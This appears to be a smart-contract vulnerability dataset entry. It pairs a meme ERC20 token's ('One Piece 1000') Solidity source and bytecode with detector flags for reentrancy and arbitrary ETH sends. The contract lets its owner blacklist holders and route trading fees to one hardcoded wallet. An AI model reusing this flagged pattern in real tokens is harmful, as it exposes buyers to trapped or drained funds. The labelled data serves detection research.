ffffffffffffffffffffffff16146110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111c1611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611283576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860019054906101000a900460ff161561129d57600080fd5b6001600860016101000a81548160ff02191690831515021790555042600981905550565b6112c9611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461138b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060078190555050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114575780601f1061142c57610100808354040283529160200191611457565b820191906000526020600020905b81548152906001019060200180831161143a57829003601f168201915b5050505050905090565b600061152461146e611871565b8461151f8560405180606001604052806025815260200161302e6025913960016000611498611871565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124939092919063ffffffff16565b611879565b6001905092915050565b600061154261153b611871565b8484611a70565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b6115e1611871565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612ee56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612fe86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611985576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f0b6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b145750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b69576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061300c6022913960400191505060405180910390fd5b600860019054906101000a900460ff16611c7857600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1e5750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180612f9c6027913960400191505060405180910390fd5b6120fa565b60146009544203108015611cd757507f00000000000000000000000000cc85a7664dbb84fc0c91fda6c86e401ffd1e5e73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611d6b5773014e1878814c9cd8a33321216cbecfb248000000811115611d66576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4f766572206d61782062757920616d742e00000000000000000000000000000081525060200191505060405180910390fd5b6120f9565b7f00000000000000000000000000cc85a7664dbb84fc0c91fda6c86e401ffd1e5e73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120f8576060600267ffffffffffffffff81118015611dd957600080fd5b50604051908082528060200260200182016040528015611e085781602001602082028036833780820191505090505b5090503081600081518110611e1957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ebb57600080fd5b505afa158015611ecf573d6000803e3d6000fd5b505050506040513d6020811015611ee557600080fd5b810190808051906020019092919050505081600181518110611f0357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506060600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f84846040518363ffffffff1660e01b81526004018083815260200180602001828103825283818151815260200191508051906020019060200280838360005b83811015611fd7578082015181840152602081019050611fbc565b50505050905001935050505060006040518083038186803b158015611ffb57600080fd5b505afa15801561200f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561203957600080fd5b810190808051604051939291908464010000000082111561205957600080fd5b8382019150602082018581111561206f57600080fd5b825186602082028301116401000000008211171561208c57600080fd5b8083526020830192505050908051906020019060200280838360005b838110156120c35780820151818401526020810190506120a8565b505050509050016040525050509050600b54816001815181106120e257fe5b602002602001015111156120f557600080fd5b50505b5b5b60008114156121145761210f83836000612553565b61248e565b600061211f30610fe6565b90506000600a5482101590508080156121455750600860009054906101000a900460ff16155b801561219d57507f00000000000000000000000000cc85a7664dbb84fc0c91fda6c86e401ffd1e5e73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121dc57506121ac611395565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561221b57506121eb611395565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612290576001600860006101000a81548160ff021916908315150217905550600061225160648461281490919063ffffffff16565b905061225c8161285e565b600061226730610fe6565b9050612272816128c3565b6000600860006101000a81548160ff02191690831515021790555050505b6000600860009054906101000a900460ff16159050600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806123465750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561235057600090505b801561247f5760007f00000000000000000000000000cc85a7664dbb84fc0c91fda6c86e401ffd1e5e73ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156123dc576123d56103e86123c76006548861291d90919063ffffffff16565b61281490919063ffffffff16565b905061245d565b7f00000000000000000000000000cc85a7664dbb84fc0c91fda6c86e401ffd1e5e73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561245c576124596103e861244b6007548861291d90919063ffffffff16565b61281490919063ffffffff16565b90505b5b61247081866129a390919063ffffffff16565b945061247d873083612553565b505b61248a868686612553565b5050505b505050565b6000838311158290612540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125055780820151818401526020810190506124ea565b50505050905090810190601f1680156125325780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125d9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612fc36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561265f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612ec26023913960400191505060405180910390fd5b61266a8383836129ed565b6126d581604051806060016040528060268152602001612f2d602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124939092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612768816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061285683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129f2565b905092915050565b600061287460028361281490919063ffffffff16565b9050600061288b82846129a390919063ffffffff16565b9050600047905061289b83612ab8565b60006128b082476129a390919063ffffffff16565b90506128bc8382612d6c565b5050505050565b6128cc81612ab8565b6128d4611395565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015612919573d6000803e3d6000fd5b5050565b600080831415612930576000905061299d565b600082840290508284828161294157fe5b0414612998576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f536021913960400191505060405180910390fd5b809150505b92915050565b60006129e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612493565b905092915050565b505050565b60008083118290612a9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a63578082015181840152602081019050612a48565b50505050905090810190601f168015612a905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612aaa57fe5b049050809150509392505050565b6060600267ffffffffffffffff81118015612ad257600080fd5b50604051908082528060200260200182016040528015612b015781602001602082028036833780820191505090505b5090503081600081518110612b1257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612bb457600080fd5b505afa158015612bc8573d6000803e3d6000fd5b505050506040513d6020811015612bde57600080fd5b810190808051906020019092919050505081600181518110612bfc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612c6330600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611879565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612d27578082015181840152602081019050612d0c565b505050509050019650505050505050600060405180830381600087803b158015612d5057600080fd5b505af1158015612d64573d6000803e3d6000fd5b505050505050565b612d9930600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611879565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080612de5611395565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015612e6a57600080fd5b505af1158015612e7e573d6000803e3d6000fd5b50505050506040513d6060811015612e9557600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636554726164696e67206973206e6f742079657420656e61626c65642e2042652070617469656e742145524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373546f206f722046726f6d206164647265737320697320626c61636b6c69737465642e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ef3d087d2f0d5e6a713d7832851cc5ef57fcec8f403b1104da42f02bb740e1ee64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2581, 27531, 2620, 2546, 2581, 12521, 11057, 2278, 2620, 27421, 2581, 2475, 15878, 2575, 22022, 20952, 3207, 2692, 28756, 2497, 2549, 11329, 21926, 2683, 17465, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,641
0x957803717b9664d71a847f6b85dd54e2e8d69f38
/** WEIGH ANCHOR FOR THE WORLD RECORD! To celebrate the upcoming release of the 1000th episode of One Piece (on the 21st November), let’s pay homage to the incredible longevity of this inter-generational anime serie legacy. One Piece 1000 token is for celebrating the release of the 1000th episode of One Piece (on the 21st November). Telegram: https://t.me/OnePiece1000ETH Twitter: https://twitter.com/OnePiece1000ETH Website: https://onepiece1000.club */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract OnePiece1000 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "One Piece 1000"; string private constant _symbol = "OP1"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xdeD82330Ab3E8F60DF4388F63F216618eC7CDF1A); _feeAddrWallet2 = payable(0xdeD82330Ab3E8F60DF4388F63F216618eC7CDF1A); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063ff872602146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b9190612ba2565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612734565b61044c565b6040516101789190612b87565b60405180910390f35b34801561018d57600080fd5b5061019661046a565b6040516101a39190612d04565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906126e5565b61047b565b6040516101e09190612b87565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612657565b610554565b005b34801561021e57600080fd5b50610227610644565b6040516102349190612d79565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127b1565b61064d565b005b34801561027257600080fd5b5061027b6106ff565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612657565b610771565b6040516102b19190612d04565b60405180910390f35b3480156102c657600080fd5b506102cf6107c2565b005b3480156102dd57600080fd5b506102e6610915565b6040516102f39190612ab9565b60405180910390f35b34801561030857600080fd5b5061031161093e565b60405161031e9190612ba2565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612734565b61097b565b60405161035b9190612b87565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612770565b610999565b005b34801561039957600080fd5b506103a2610ae9565b005b3480156103b057600080fd5b506103b9610b63565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126a9565b6110c0565b6040516103ef9190612d04565b60405180910390f35b34801561040457600080fd5b5061040d611147565b005b60606040518060400160405280600e81526020017f4f6e652050696563652031303030000000000000000000000000000000000000815250905090565b60006104606104596111ee565b84846111f6565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104888484846113c1565b610549846104946111ee565b610544856040518060600160405280602881526020016133eb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104fa6111ee565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119c69092919063ffffffff16565b6111f6565b600190509392505050565b61055c6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105e090612c64565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffff